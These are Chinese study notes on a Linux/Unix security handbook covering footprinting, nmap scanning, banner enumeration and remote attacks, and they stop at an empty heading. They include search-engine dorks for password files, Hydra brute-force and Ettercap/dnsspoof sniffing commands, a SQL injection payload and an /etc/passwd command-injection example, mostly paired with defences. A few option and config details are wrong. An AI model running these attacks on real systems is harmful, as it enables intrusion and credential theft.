学习笔记:linux与unix安全手册

第一部分 黑客技术与防范
一、追踪
A.关于搜索引擎
这是一种用公开方法来积累目标的原是数据的过程。可以通过搜索引擎来搜索,常用的方法有:
1.搜索职位发布找出管理站点。
  象职位发布机构:http://www.monster.com
2.搜索EDGAR(电子数据的收集、分析和获取)数据库。
  因为这里面含有大量的有关公共贸易公司的数据。因为一些大公司在重组的初期常有管理网络安全的问题,所有可以通过在EDGARD数据库中搜集公司的季度和年度报告,来了解目标的近况。如:http://www.sec.gov/edgar.shtml中就有EDGRA系统。
3.在日值文件里查找敏感信息。
  在http://www.google.com/上查询"Index of" dead.letter可以得到提供文件dead.letter的Web服务器。当用户取消发送邮件时,邮件客户端可能产生dead.letter文件,这种文件中含有邮件内容的一部分,并有大量的对攻击者有用的信息。象其他syslog,maillog,splloler,messages,access_log,error_log等都有搜索的价值。
4.搜索Web服务器统计信息。
  在http://www.google.com/上搜索"Index of" stats 就可以找到那些因配置不当而向未认证的外部实体提供服务器统计信息的Web服务器的所在位置。
5.确定被保护的数据资源位置
  有时敏感信息常放在web站点的"protected","secret","password"等目录中,而且这些地址多没有密码保护。在http://www.google.com/上搜索"Index of".htpassword就可以找到某些apache web服务器的密码文件。之后可以通过"John the Ripper"等密码破解工具破解包含在文件中的哈希值。可以在http://www.openwall.com/john/中找到"John the Ripper"
6.查找配置文件中的敏感信息
  当包含密码,密钥,用户名、内部IP地址以及其他敏感数据的各种配置文件放在Web根目录时,web服务器会错误的向外界提供这些文件。其中一个潜在的受威胁的文件时sshd_config,它包括ssh服务器的配置信息。你可以在google中通过"Index of" sshd_config来搜索。
7.在新闻组中搜索管理缺陷信息
 当你在新闻组中发布一个问题的求救信息时,同时也泄漏了你作为管理员在那方面的欠缺,和系统在那方面可能有漏洞出现。

对搜索引擎暴露漏洞的防御:
1.在发布招聘信息时,避免暴露与安全相关的管理上的薄弱环节。
2.对web服务器配置和数据作常规的审核。
  如统计所有的log文件:
  ls -alR / | grep log
  搜索web根目录内文件中含"password"的文件
  grep -R password /var/web -root
3.不用真实的姓名,邮件地址在新闻组和信息栏中发布招聘信息。

B.关于域主词机构
  通过whois查询,可以得到返回信息包括POC和DNS IP地址,这可以确定目标网络是否存在。为查询到正确的注册机构,必须在公共的whois服务器(whois.crsnic.net)上作whois操作。常用方法有:
1.通过域名查询域注册记录
  如用whois命令在whois.crsnic.net上查询chinaren.com
  whois -h whois.crsnic.net chinaren.com
  如果它的注册机构的whois服务器是whois.some-whois-serverr.com,那我们要再次查询
  whois -h whois.some-whois-server.com chinaren.com
2.通过域前缀查找域注册记录
  如查找"some-company"开头的域名:
  whois -h whois.crsnic.net "some-company"
3.通过句柄查询域注册记录
  在whois服务器中列出的个体都有与其相关的句柄,通过句柄也可找到相关信息,如:
  whois -h whois.some-whois-server.com "handle SOME-HANDLE"
4.通过电子邮件来查询域注册记录
  在whois服务器上的个体通常有一个相关的电子邮件地址。通过其邮件地址也可以搜索到用户,如:
  whois -h whois.some-whois-server.com "@test.com"
  会返回邮件地址中包括域@test.com的个体名字。

防止由于域注册记录而暴露信息:
可以通过确保在whois记录中列出的邮件地址都以和组织名字不同的域结尾,这将使通过邮件查询来查询记录的人感到困难。

C.地区互联网注册机构
给每个组织分配可路由的IP地址段的组织叫互联网注册机构(RIR)。四个地区互联网注册机构是:
1.ARIN(http://www.arin.net/),北美、加勒比海部分地区、非洲亚赤道地区(whois.arin.net)
2.APNIC(http://www.apnic.net/),亚太地区(whois.apnic.net)
3.RDPB NCC(http://www.ripe.net/),欧洲、中东、中亚、赤道以北的非洲国家(whois.ripe.net)
4.LACNIC(http://www.lacnic.net/),拉丁美洲和加勒比海地区(whois.lacnic.net)
此外,可以在http://www.aso.icann.org/中得到新的RIR信息。
1.通过公司前缀查讯RIR记录
  whois -h whois.whois-server.net "company-prefix"
2.通过IP地址或网段查讯RIR记录
  whois -h whois.arin.net 220.106.0.20
3.通过句柄查讯RIR记录
  whois -h whois.whois-server.net "$HANDLE"
4.通过电子邮件查讯RIR记录
  whois -h whois.whois-server.net "@test.com"

D.DNS反向查讯
DNS反向查讯就是向DNS服务器查讯与特定IP地址相关的主机名的过程。可用host命令来完成。如:
host www.google.com
www.google.com is an alias for www.l.google.com.
www.l.google.com is an alias for www-china.l.google.com.
www-china.l.google.com has address 66.249.89.104
www-china.l.google.com has address 66.249.89.99
www.google.com is an alias for www.l.google.com.
www.l.google.com is an alias for www-china.l.google.com.
www.google.com is an alias for www.l.google.com.
www.l.google.com is an alias for www-china.l.google.com.
防范措施:
1.指定的主机名不能暴露网络中主机的任何类型的信息。
2.指定主机名时可考虑将IP地址作为主机名的一部分,在有助于组织可利用主机的同时可以避免把信息泄漏。(这是为什么呢?现在俺还不清楚,是不是译者翻译错了?不过公网上是有好多的dns主机用这种方法,如:xd-22-33-a8.bta.net.cn)

E.邮件交换
如果要寻找邮件服务器的主机名和IP地址,可以用dig命令来查讯邮件交换(mx)记录,一个unix下如同nslookup的工具,如:
dig mx anchiva.com.cn

; <<>> DiG 9.3.1 <<>> mx anchiva.com.cn
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19132
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3

;; QUESTION SECTION:
;anchiva.com.cn.                        IN      MX

;; ANSWER SECTION:
anchiva.com.cn.         4653    IN      MX      1 220.231.21.44.

;; AUTHORITY SECTION:
anchiva.com.cn.         6520    IN      NS      dns1.hichina.com.
anchiva.com.cn.         6520    IN      NS      dns2.hichina.com.

;; ADDITIONAL SECTION:
dns1.hichina.com.       239     IN      A       218.30.103.50
dns1.hichina.com.       239     IN      A       218.30.103.49
dns2.hichina.com.       294     IN      A       218.244.143.40

;; Query time: 4603 msec
;; SERVER: 202.99.8.1#53(202.99.8.1)
;; WHEN: Tue Dec  6 19:59:48 2005
;; MSG SIZE  rcvd: 158

F.DNS区域传输
为了提供层次和冗余,DNS服务器通常要作为主服务器和次服务器来进行区域传输。若主DNS服务器的配置不当,就会运行任意的主机实现区域传输。用host命令就可以,如:
host -l domain $DNS_IP
host -l anchiva.com.cn 220.106.0.20
这样攻击者可以得到组织和他们的IP地址中的主机作用的信息。
作为防治滥用DNS区域传输,你可以:
1.不要让未授权的主机从你的DNS中进行区域传输。
2.区域传输是在TCP53端口执行的,在配置防火墙的时候,应该屏蔽53号端口连接。(有个问题,被屏蔽了还怎么传输啊?)
3.最好为内部主机建立一个单独的DNS服务器,且此服务器不能从外部访问。

G.跟踪路由
使用traceroute命令可以用来完成路由的跟踪。traceroute默认是向目标主机的高端口发送UDP包,也可以使用"-l"参数使traceroute发送ICMP包,或用"-p"来设定外发的UDP包的源端口。traceroute在初始化TTL(生存时间)时设置为1,然后后续的每个包都递加1,每个网关在把IP包按路由转发之前,将TTL字段减1。当IP包中的TTL值为0时,网关会发送一个"ICMP生存时间超时"的包给源发送者。这样traceroute通过查看"ICMP生存超时"的包来确定所经过的网关的IP地址。
注意:一些网关或防火墙会减少进入的ICMP包和UDP包,或减少外发的"ICMP生存时间超时"包。这会使traceroute忽略他们的存在。
防止traceroute请求进入的方法:
1.配置防火墙,丢弃进入的UDP和ICMP包。
2.配置防火墙,丢弃外发的"ICMP生存时间超时"包
3.如果必须接收DNS的UDP包,将防火墙配置为只接收来自特定DNS服务器IP地址,源端是53的UDP包。


第二章  扫描和识别
1.ping探测
  直接用ping命令发送ICMP包来发现有相应的活动主机。
2.ping扫描
  可以用nmap来实现ping扫描.如:
  nmap -sp 192.168.1.*
如果要防止ping扫描,可在防火墙配置为丢弃进入的ICMP echo请求和外发的ICMP echo应答。3.用nmap进行TCP ping探测
  如果把一个TCP ACK包发送到活动的主机上,将会返回一个RST包。nmap默认会发送一个ACK包给目的主机的80端口,也可"-PT"来指定端口,如:
  nmap -PT6000 192.168.1.1
可用有状态检测的防火墙来防御,丢掉所有不属于已经建立TCP连接的ACK包。(这都丢了,新连接怎么建啊?晕,不明白!:(! )
4.TCP连接端口扫描
  使用操作系统内核提供的TCP开放式系统调用,与目标主机上的特定端口建立连接,使用nmap中的"-sT"选项可以进行TCP连接扫描,如:
  nmap -sT 192.168.10.1
nmap默认时扫描常用端口,如果指定端口用"-p"选项。如:
  nmap -sT 192.168.10.1 -p 1-65535
5.ftp反弹扫描
  在ftp协议的设计上,当ftp客户端用"主动" 模式请求数据传送时,ftp服务器必须建立一个返回到ftp客户端上某个端口的连接。ftp客户端发出port命令,以它们的IP地址和监听端口号作为参数。敷过ftp客户端发出的port命令带有另一台主机的ip地址,那么ftp服务器将与改服务器连接。因此可以利用ftp协议的这个特点,用nmap可以来执行代理扫描。如:
  nmap -b username:password@ftp.server.com:21 -p 4000-8000 target.server.com
6.tcp syn/半开扫描
  这种扫描是给目标主机发送一个syn包。如果目标主机正在特定的端口上监听,则会回应一个syn+ack包。如果目标主机是活动的,但没在监听端口,则会返回一个rst包。
  用nmap进行syn扫描可用参数"-s S",如:
  nmap -sS 192.168.1.1
另,当ftp客户端要求用主动模式进行数据传输时,ftp服务器必须建立一个返回ftp客户端上某个端口的连接,这样可以用nmap进行源端口扫描,如:
  nmap -sS -g 20 192.168.1.1
7.fin扫描
  由于fin ip包可以释放已经建立的tcp连接,所以当发送一个fin包到某个目标主机端口时,如果主机是活动的,但没有监听,它会返回一个rst包;如果正在监听,它就不会有任何的反应。
注:windows机器总是发送一个rst包作为回应,挺好认的。
  如在nmap中用"-sF"执行fin扫描:
  nmap -sF 192.168.1.1
8.反向ident扫描
  ident(鉴定协议)服务器监听端口113上的连接,如果建立一个与运行ident服务器的主机的tcp连接,则会向ident服务器查询连接进程的特权级别。用nmap的"-I"参数可以完成,如:
  nmap -I -sT -p 80 192.168.1.1
9.XMAS扫描
  发送一个tcp数据包,但里面内置了fin,urg,push等标志,如果目标主机正在监听特定端口,那它将返回一个rst包,如果目标主机没有监听那个端口,则不相应。
注:fin用于释放tcp连接。urg意味着在ip包中有类似与^C等的紧急信息。push表示发送者要求接收者立刻把所有缓冲的数据传到程序中。nmap中的"-sX"参数可以完成,如
  nmap -sX 192.168.1.1
10.tcp空扫描
  发送一个tcp包,且在tcp报头中关闭所以的标志。如果主机正在监听特定端口,则没有相应;否则,返回一个rst包。nmap中的"-sN"可以执行tcp空扫描,如:
  nmap -sN 192.168.1.1
11.rpc扫描
  这种扫描向开放端口发送NULL命令,用来判断他们是否是RPC(远程过程调用)端口。如果开放端口是RPC端口,就能查询和得到绑定到该端口的应用程序的信息。nmap中的"-sX"参数可以完成,如:
  nmap -sX 192.168.1.1
12.ip协议扫描
  这种扫描是为了判断目标主机支持那些IP协议。它按特定协议发送原始IP数据包,如果接收到ICMP协议不可达信息,那说明目标主机很可能不支持该协议。nmap中的"-sO"可以执行ip协议扫描,(大写字母O)如:
  nmap -sO 192.168.1.1
13.ack扫描
  这种扫描主要用来判断防火墙的规则集,把ack包送到目标主机,如果该主机没有相应,或返回ICMP包不可达,那么防火墙可能过滤了该端口,如果主机返回rst包,那么防火墙没有过滤这个端口。nmap中的"-sA"可以执行ack扫描,如:
  nmap -sA 192.168.1.1
14.窗口扫描
  这种扫描利用报告tcp窗口大小时的异常,有助于检测开发的、过滤及未过滤的端口。nmap中的"-sW"可以执行窗口扫描,如:
  nmap -sW 192.168.1.1
15.udp端口扫描
  由于udp不是面向连接的协议,因此udp扫描是不可靠的,如果要扫描一个udp端口,可以发送一个udp包到此端口,如果此端口是在监听的,不会收到任何信息;如果此端口没有在监听,就会收到ICMP端口不可达信息包。nmap中的"-sU"可以执行udp扫描,如:
  nmap -sU 192.168.1.1

对于网络端口扫描的防御:
1.将防火墙配置为丢弃目标为关闭端口的数据包。这样可以延缓攻击者扫描的速度。
2.对于能检测端口扫描的设备,要有规律的查看其日志。
3.配置防火墙,使之不要信任源端口信息。对于ftp这种明文协议最好用其他协议代替,对于已有的ftp服务,防火墙应只允许已经建立连接的ftp服务器所发出的源端口为20的数据包。对于dns,除了是要发给执行区域传输的dns服务器的ip地址,其他源端口是53的tcp包应该拒绝。
4.在ftp服务器上应配置不允许客户端发出带有非客户端IP地址的port命令,以防止ftp反弹扫描,大多数ftp服务器都支持的。(怪不得刚才没试验成功,:( !)
5.将防火墙配置为丢弃或重置对ident端口的连接请求。
6.别舍不得花钱,用带状态检测的防火墙。(俺的钱包啊!!!)

对操作系统的识别
用xprobe2或nmap来识别,如:
  xprobe2 -v target.server.com 和 nmap -O 192.168.1.1

第三章     枚举
服务在有客户端连接后一般会有欢迎信息的出现,这些信息会暴露系统的一些细节,应该屏蔽
1.用Amap来识别远端服务
  当有服务不是工作在默认端口上,且不用ASCII码进行通讯的时候,就需要Amap来识别了.如:
  amap -sT traget.server.com port
2.修改ftp服务器标语
如:wu-ftp,在/etc/ftpaccess中
3.修改ssh服务器标语
在OpenSSH源代码中用grep命令查找出这个版本信息的字符串,修改后,重新编译、安装,不过前面的协议版本信息"SSH-xxx"还是不要改的,因为据说有些客户端用它来识别服务器信息的。(怎么这么弱,用这个来识别,真的假的啊!)
4.修改telnet服务器标语
A.如果是用inetd运行的telnet,编辑/etc/inetd.conf:
把其中的:
  telnet stream tcp nowait root/ usr/ sbin/ in.telnetd
  in.telnetd
修改为:
  telnet stream tcp nowait root/ usr/ sbin/ in.telnetdwrapper
  in.telnetd
然后,创建/usr/sbin/in.telnetdwrapper文件,内容如下:
  #!/bin/sh
  /bin/echo "My banner /r"
  exec /usr/sbin/in.telnetd
B.如果是xinetd,应编译xinetd.d目录下的telnet文件。
C.一些版本的telnetd允许通过编辑文件/etc/issue.net来修改标语。(晕,怎么放在那里,那不是改Kernel的地方吗?)
5.修改smtp服务器标语
如果是sendmail,编辑/etc/sendmail.cf中的SmtpGreetingMessage字段的值。
6.使用EXPN和VRFY枚举用户
EXPN和VRFY可以用来确认一个特定用户名是否存在,EXPN还可以用来枚举在特定组电子邮件别名中的所有用户的用户名和电子邮件的地址。如:
  telnet mail.server.com 25
  VRFY sailorhzr 和
  telnet mail.server.com 25
  EXPN marketing-team
在sendmail中,通过编辑/etc/sendmail.cf中的PrivacyOptions值为authwarnings,noexpn,novrfy。可以使服务器不在支持EXPN和VRFY功能。(真阴险啊!)
7.修改bind的版本信息
通过dig命令可以得到bind的版本信息,如:
  dig -t txt -c chaos version.bind@192.168.1.1
通过修改bind的配置文件name.conf中的option选项,如:
  option {
      version "Not available";
  }
此外,还要用特定的ACL来配置bind,并限制来自特定主机的查询。
8.修改、禁用finger服务
通过finger命令可以查询特定的用户信息,如:
  finger username@host 或 finger @host
如果要禁用finger服务:
在inetd中,可以注释掉/etc/inetd.conf中的相互行。
在xinetd中,可以编辑/etc/xinetd.d/目录下文件名为finger的文件,确保disable=yes行存在。
如果必须运行finger服务,配置防火墙不再接收79端口的连接。(晕,这还不如关了它呢,浪费电!)
9.修改http、https的服务器标语
http是一个无状态协议,使用telnet和head、get等命令可以获得服务器相关信息,如:
  telnet www.baidu.com 80
  HEAD/HTTP/1.0 [enter] 或 GET/HTTP/1.0 [enter]
  [enter]
如果想得到特定页面,要把名字和路径一同加到GET请求中,如:
  GET/contact.html HTTP/1.0 [enter][enter]
如果单个web服务器可以用多个域名提供内容服务,必须指定特定的域名,如:
  GET/HTTP/1.0 [ENTER]
  Host:www.domainname.com [enter][enter]
如果要更改http服务器标语,可以把httpd.conf中的"ServerSignature"标识为"off",把"ServerTokens"标识为"Prod"。
其中的ServerSignature标记指示当显示页面错误时不输出版本信息。
其中的ServerTokens标记指示apache在标语中仅显示"Server:Apache"。如果不想显示server服务器的类型,可以编辑Apache源程序中的httpd.h文件,将
#define SERVER_BASEPRODUCT "Apache"中的Apache改为其他内容,重新编译后在次安装。
10.修改pop3、pop3s(在ssl上的pop3,TCP端口995)、IMAP2/4(TCP端口143)、IMAPS(在ssl上的IMAP,TCP端口993)、NNTP(TCP端口119)、NNTPS(在ssl上的NNTP,TCP端口563)的标语
  这个有点烦,各种通过ssl的连接可以通过openssl来连接服务器,如果要修改,则要修改源码!连接方法:
  openssl s_client-connect:192.168.1.1:443
11.禁用Portmapper服务(port TCP 111)
  以RPC(远程过程调用)为基础的服务,如NIC(网络信息服务),并不监听固定端口。这些服务用Portmapper来注册它们的端口号。
  可以用rpcinfo来查询端口映射服务器中注册的RPC服务,如:
  rpcinfo -p hostname
但RPC服务有很多的问题,所以:
如果没有RPC服务,就禁用Portmapper。
注释掉inetd.conf中的rpc.usersd行和rpc.whod行。(inetd)
在xinetd.d目录下,确保所需禁用的服务对应的文件包含disable=yes。(xinetd)
禁用任何不使用的RPC服务。
12.修改samba信息(TCP和UDP端口的137~139)
Samba使用SMB(服务器消息块)协议在网络上共享文件和打印机。可以通过smbclient工具来枚举服务器的信息,如:
  smbclient -L samba_server -I 10.10.1.1 -U
如果要加固Samba服务器配置,可以:
a.编辑smb.conf,将
  server string = Samba server
修改成其他内容
  server string = no information
或通过配置smb.conf中host allow和interfaces的配置来限制外来主机的连接。
b.通过编辑原代码中/source/include/version.h/文件里的常量VERSION。可以改变Samba的真实版本。(这招有点损!)
13.防止SNMP的枚举(UDP端口161、162)
snmp是一个用来管理网络节点的维护协议。它的"community string"作用相当于用户ID和密码,当snmp服务器配置了"团体字符串"(community string)时,用户可以通过net-snmp-utils软件包中的snmpwalk命令来查询snmp服务器中的"团体字符串"(community string),而获得很多详细的配置说明。如:
  snmpwalk 10.10.1.1 public
对于snmp枚举的防范:
使用snmp版本2或3(版本1现在还有人用啊!倒~~~)
用一个难以猜测的communtity string
禁止snmp通讯进入防火墙
限定snmp acl只允许来自特定主机的连接。(这个好像挺有用的!)
14.关于MySQL(TCP端口3306)
    通过telnet连接MySQL的3306端口可以得到MySQL的版本号,但如果要是修改源码的话,好像有可能回导致一些客户端的中断。(真的,假的啊,没试过!)
15.通过Netcat来获得服务的标语
    对于没有进行ssl加密的协议,可以通过Netcat工具(即nc,在/usr/bin/nc中)来获得,对于已用ssl加密的协议可用openssl通过连接来获得。

第四章     远程攻击
    一般来说只要存在一个开放的端口,则身份未经验证的用户就有机会进行入侵尝试。
1.暴力破解
    即尝试所有的用户名和密码的组合。一般可以用一种叫Hydra暴力破解工具破解,它是一种“主动”暴力破解,还有一种叫“John the Ripper”的密码破解程序,是一种叫作“被动”暴力破解的技术来破解密码散列。
如果要防范暴力破解:
a.使用如npasswd和pam_passwdqc的密码加密工具
b.设置密码的时效并对密码长度进行限制,通过修改/etc/default/passwd或/etc/login.defs进行修改
c.考虑使用动态密码方案,如S/KEY和SecurID.

2.嗅探程序
    在正常操作中,网卡回忽略不是发给自己的网络数据包。但如果网卡被设置为在“混杂模式”下运行,网卡会把收到的所有网络包都传送到操作系统的TCP/IP堆栈上。如果此时传送的是以明文数据,就可以通过网络分析软件来扑捉网络中如用户名或密码之类的数据。
    在集线式网络上,只要把网卡设为混杂模式,同一网段上发送和接收的数据包会被该网段上所有的主机接收。
    (ARP欺骗)在一个交换式网络上,硬件交换设备可以确保每台主机只会收到发给它的数据包。但诸如Dsniff、Ettercap等工具可以来进行ARP嗅探,并用伪造的ARP应答用于交换机上的代理通讯。在进行ARP欺骗时,hacker主机发送ARP应答数据包给Gateway和client,这些ARP应答数据包会使client把hacker主机的MAC映射成GateWay的IP地址;同时使GateWay把hacker主机的MAC映射成client的IP地址。当GateWay和client之间通讯时,它们会把数据包通过MAC的寻址都发送到hacker主机上。hacker主机在得到所需的数据后,再用实际的MAC地址替换虚假的MAC地址,把数据包转发到实际的目的地。这样hacker主机就通过ARP欺骗进行了一次连接代理。
    对于嗅探攻击的防范:a.尽量不要用明文协议。b.如果可能使用静态的MAC地址映射。c.使用能检测ARP欺骗的IDS设备,Etercap也可以检测网络上的ARP应答。(成也萧何,败也萧何)

3.中途截取攻击
    是指一个恶意用户在两台或多台受害主机之间中途截取并改变数据。如,当入侵者入侵一个dns服务器后,改变一个域名的实际IP地址为入侵者主机后,当有用户发起dns请求到此域名时,客户会收到入侵者主机的IP地址并,连接到入侵者的主机,此时入侵者主机就有作了一次连接代理,并通过此方法得到想要的数据。
    为防范嗅探攻击,尽量使用加密后的安全协议。虽然他们也可以受到中途截取攻击,但由于使用了密钥和证书,软件的客户端可能出现的攻击回向最终用户发出警告。

4.软件漏洞
    这是由于设计或编码时的疏忽造成的,好像没什么好办法。但一些安全在线资源所发表的安全攻击测试代码,可能含有已知的后门程序,最好实在虚拟机上进行。此外,要确保软件安装了最新的补丁,并监控IDS日志,订阅漏洞监视列表。
对于一些类型防止缓冲区溢出的方法:
StackGuard:http://www.immunix.rog/stackguard.html
Libsafe:http://www.research.avayalabs.com/project/libsafe/
StackGhost:http://stackghost.cerias.purdue.edu/
Openwall:http://www.openwall.com/linux
如果时Solaris,则请编辑/etc/system/中并添加:
set noexec_user_stack=1
set noexec_usr_stack_log=1

5.破解FTP
用hydra暴力破解ftp,如:
  hydra -L username.txt -P passwords.txt ftpserver.com ftp
用Ettercap通过扑捉网络传输的FTP得到用户名和密码,如:
  ettercap -m -C -N
用nmap进行ftp反弹攻击,如:
  nmap -b username:password@ftpserver.com:21 -p 4000-8000 target.server.com
    在一个FTP客户端使用“active”模式请求数据传输时,FTP服务器必须回连到FTP客户端一个随机端口上。FtP客户端回发出一个用其IP地址和侦听端口号作为参数的PORT命令。如果恶意的FTP客户端发出的是一个带有另一台受控主机的IP地址的PORT命令,那该FTP服务器就会连接到那一台机器。在PORT命令之后,恶意客户端可以执行RETR命令来把一个包含命令的文件发送到FTP服务器上。这会使得FTP服务器把该给定的文件内容转储到由PORT命令指定的那台受控主机的给定端口上。如果该文件包含SMTP命令,那恶意的FtP客户端用户就可以通过该FTP服务器来代理电子邮件了。
    如果要防止FTP反弹攻击,可以把FTP服务器配置为拒绝与PORT命令的客户端之外的其他IP地址进行连接。
ftp盗链攻击
    当FTP客户端在发送了带有其IP地址和端口号的PROT命令之后会发送一个PASV命令,此时服务器会开始在所请求的端口上进行监听。如果这时有恶意用户抢在正常用户抢连接到该服务器的端口上,根据FTP客户端发出的下一条命令,该用户就可以对传输数据进行访问。
    当FTP使用“主动”模式时,如果当客户端在监听端口时,攻击者抢在FTP国务卿之前连接到客户端,根据客户端发出的下一个命令,攻击者就可以伪装成合法的服务器,并可以传输修改过的文件给客户端。
    对于盗链的防止:a.配置FTP服务器为只允许从一个经过授权的客户端的IP地址连接到其数据端口。但如果攻击者与合法客户端位于同一个NAT网关后,则因为二者的源IP地址是相同的,所以无法阻止攻击。b.将FTP客户端配置为只接收来自所连接的FTP服务器的连接。

6.破解SSH
用expect工具编写的暴力破解脚本可以用来破解ssh帐号。
用sshmitm和ettercap这样的工具来作为ssh连接代理,而dnsspoof工具用来伪造对dns查询的应答,可以把受害主机的ssh客户端重新定向连接到一个新的代理ssh服务器上。虽然受害主机的ssh客户端会警告用户该访问取得主机密钥发生了改变,因为主机密钥变为了攻击者的代理ssh服务器。但好像没有多少用户注意到这种警告。
    对于ssh的攻击,可以指导用户不要接收来自远端SSH服务器的未知主机密钥。此外,要注意现有SSH软件中的漏洞。

7.暴力破解telnet
通过Hydra可以暴力破解telnet,如:
  hydra -L usernames.txt -P passwords.txt telnet.server.com telnet

8.telnet会话劫持 
位于同一网段上的用户可以使用hunt攻击进行telnet会话劫持,如:
  hunt -i eth0
执行成功之后hunt有多种选项可以进行攻击。所有最好用ssh之类的来代替telnet。

9.嗅探telnet验证信息
用ettercap可以嗅探到网站中telnet验证过程中的用户名和密码,如:
ettercap -m -C -N

10.嗅探SMTP通信  
位于同一网段上的用户可以用Dsniff工具包中的mailsnarf程序来扑捉此网段上的SMTP数据,如用mailsnarf程序:
  mailsnarf
其中sendmail中有很多的远程利用的漏洞,如:
a.sendmail标头处理缓冲区溢出漏洞
该漏洞由于sendmail的crackaddr(char *addr)函数没有正确处理在邮件标头中包含"From"地址字段的字符串内的<and>字符造成的。
b.sendmail的MIME漏洞
8.8.3版的sendmail中由于对电子邮件信息进行MIME转换时边界检查不当而引起攻击者可以通过发送特制消息来使得sendmail进程覆盖其内部堆栈空间,从而可以在sendmail服务器上运行任意命令。
c.sendmail的HELO缓冲区溢出
在旧版的sendmail中如果把一个长字符串作为参数传送给HELO命令时,sendmail会崩溃,从而可以在sendmail服务器上运行任意命令。
d.sendmail的DNS映射TXT记录缓冲区溢出漏洞
该漏洞是由于没有对从DNS服务器返回的数据进行正确的边界检查而造成缓冲区溢出,所以可以通过一台恶意的DNS返回一个任意长度的相应阿里利用该漏洞,以达到在sendmail服务器中运行命令的目的。

11.欺骗DNS响应
由于DNS的单项查询用的是UDP的方式在53端口上执行的,而UDP不是一种连接向导协议。所以当一个DNS客户端查询DNS服务器时,位于同一个网段上或者位于客户端和真实服务器之间路径上的恶意用户可以使用DNS服务器的源IP地址将相应发回给客户端,如果客户端在收到真正的DNS响应之前收到了恶意用户的响应,就会去连接恶意用户所指定的服务器,而不是真正的服务器。
其中Dsniff自带的dsnspoof程序就是一个可用来伪造DNS查询的工具。如果攻击者有一个网关的控制权那么可以在上面运行:
  dnsspoof -i eth0 -f /etc/dnssniff.txt
其中/etc/dnssniff.txt中要包含:
  192.168.1.1 someexample.com
当有人通过网关去查询someexample.com时,就会被指给192.168.1.1的地址。
如果想避免这种情况的发生,可以使用DNSSEC(DNS安全,是DNS的扩展,提供端对端的真实性,http://www.dnssec.net)或,djbdns(http://cr.yp.to/djbdns.html)

12.TFTP的嗅探及安全
TFTP使用UDP的69端口提供服务,没有验证及目录列表等功能,只支持与远程服务器之间的文件读写。用"ettercap -N -m -t udp"就可以嗅探到网络中的TFTP的数据传输。TFTP在默认情况下只会提供/tftpboot/目录中的文件,但可以用过"-s"选项来修改目录

13.暴力破解HTTP验证
用Hydra可以对HTTP进行暴力破解,如:
  hydra -L usernames.txt -P passwords.txt
注:HTTP是一种用来传播各种超媒体内容的无状态协议。对于HTTP的错误配置和漏洞的检查可以通过Nikto之类的自动化工具来对web服务器和应用程序进行评估,该工具可以从http://www.cirt.net/code/nikto.shtml处获得。

14.嗅探URL
Dsniff自带的 urlsnarf程序可以用来嗅探用户在网络上发送的HTTP请求,如:
  urlsnarf
此外,Dsniff自带的webspy程序也是一个很好的HTTP嗅探工具,如果一旦发现网络上的一个HTTP请求,就会把它发送到一个正在运行的Netscape程序,这样就能使恶意用户监控受害方的HTTP会话了。

15.嗅探HTTP数据
用Ettercap可以用来嗅探正通过网络的HTTP通讯,如:
 ettercap -t tcp -N -s ANY:80

16.嗅探HTTP验证信息
HTTP本身使一种明文协议,可以用Ettercap来嗅探HTTP验证信息,如: 
  ettercap -m -C -N

17.自动索引
如果打开自动索引,那么当不存在索引文件(如index.html)时,web服务器会显示出目录内容。
Apache用户可以在httpd.conf文件中用IndexIgnore指令来关闭服务器的索引。

18.获取源代码、配置、统计数据及密码资源
如,CGI应用程序的源代码可能包含数据的用户名和密码。
web服务器统计程序会把统计结果输出到类似/stats的目录下,而这些目录经常被放置在web根目录下。
Apache允许用户通过在目录中放置一个名为.htaccess的文件来用密码保护这个目录。这个.htaccess文件包含着有关密码文件(通常是.htpasswd)所在位置的信息,而这个密码文件包含着所运行帐号的密码散列。通常,Apache没有被配置成限制为.htaccess和.htpasswd文件提供服务。一旦攻击者读取了.htpasswd文件,那么就可以用类似John的暴力破解工具进行破解。
所以要将apache配置成不提供敏感文件,可编辑httpd.conf文件,如,禁止提供文件名开头为.ht的文件:
  <Files ~ "^/.ht">
        Order allow,deny
        Deny from all
  <Files>
此外,AccessFileName指令可以在httpd.conf中用来指定除.htaccess之外的一个文件名。如果这个操作已经完成,则应该确保让Apache不提供相应的文件访问。

19.利用不正确的输入验证    
对于可以通过提交HTML表单将值输入到web应用程序中的,应用程序在使用这些值之前,应对这些值进行检测。如利用web程序中的输入验证漏洞来进行未经受权的SQL查询,叫做SQL注入。如,web程序中的SQL代码:
  SELECT SSN FROM users WHERE username = '$ INPUT[id]';
其中的id参数通过用户提交一个HTML表单传送到程序中,如果不进行任何输入验证的话,当恶意用户在提交表单时可以让id的值为:
  blah' OR 'x' = 'x
这会使初始SQL查询对数据库进行如下操作:
  SELECT SSN FROM users WHERE username = 'blah' OR 'x' = 'x';
这个操作将返回"user"表格中所有帐号的SSN值!
又如一些web程序不对传递给system()函数调用的参数进行输入验证。而大多数编程语言都要包括system()函数调用以执行一个外部程序:
  system("/bin/echo $i")
如果恶意用户为$i输入这样一个值:
  'cat /etc/passwd'
那么上述system的调用将在web服务器上执行:
  /bin/echo 'cat /etc/passwd'
所以,在各种web程序中要对用户输入的所有参数进行输入检验,需要注意的字符有:
' ; ./ / @ & | % ~ < > " $ ( ? ) { } [ ] * ! `

20.会话劫持
http不是一种有状态机制的协议,它的会话管理有web程序提供,而大多数的会话是有cookie来维护的。cookie是一小段根据web服务器的要求而被存储在最终用户硬盘上的信息。因此cookie不能,也不应该得到完全的信任,如果一个web应用程序仅仅依靠cookie值,那么恶意用户可以通过编辑其web浏览器的cookie文件来欺骗服务器。此外,web应用程序可以通过把会话信息嵌入到url中来维护会话状态。
对于之类的会话劫持,你可以通过一下方法来防范:
a.为每个成功通过验证的用户分配随即的会话ID
b.将经过加密的信息存储在cookie中
c.使用SSL来传递所有的cookie的值。

21.隐藏的HTML元素
隐藏的HTML元素是包含在web表单中的静态值,这些值不会显示给最终的用户,如:
< INPUT NAME="shippingchareges" TYPE = HIDDEN VALUE ="6.7">
但如果用户下载这个HTML表单并把上述HTML代码修改后,并提交,那么对于一个设计不当的web应用程序就有可能确认这个被用户自己修改过的值。
所以不要信任任何的隐藏的HTML元素。

22.源代码注释
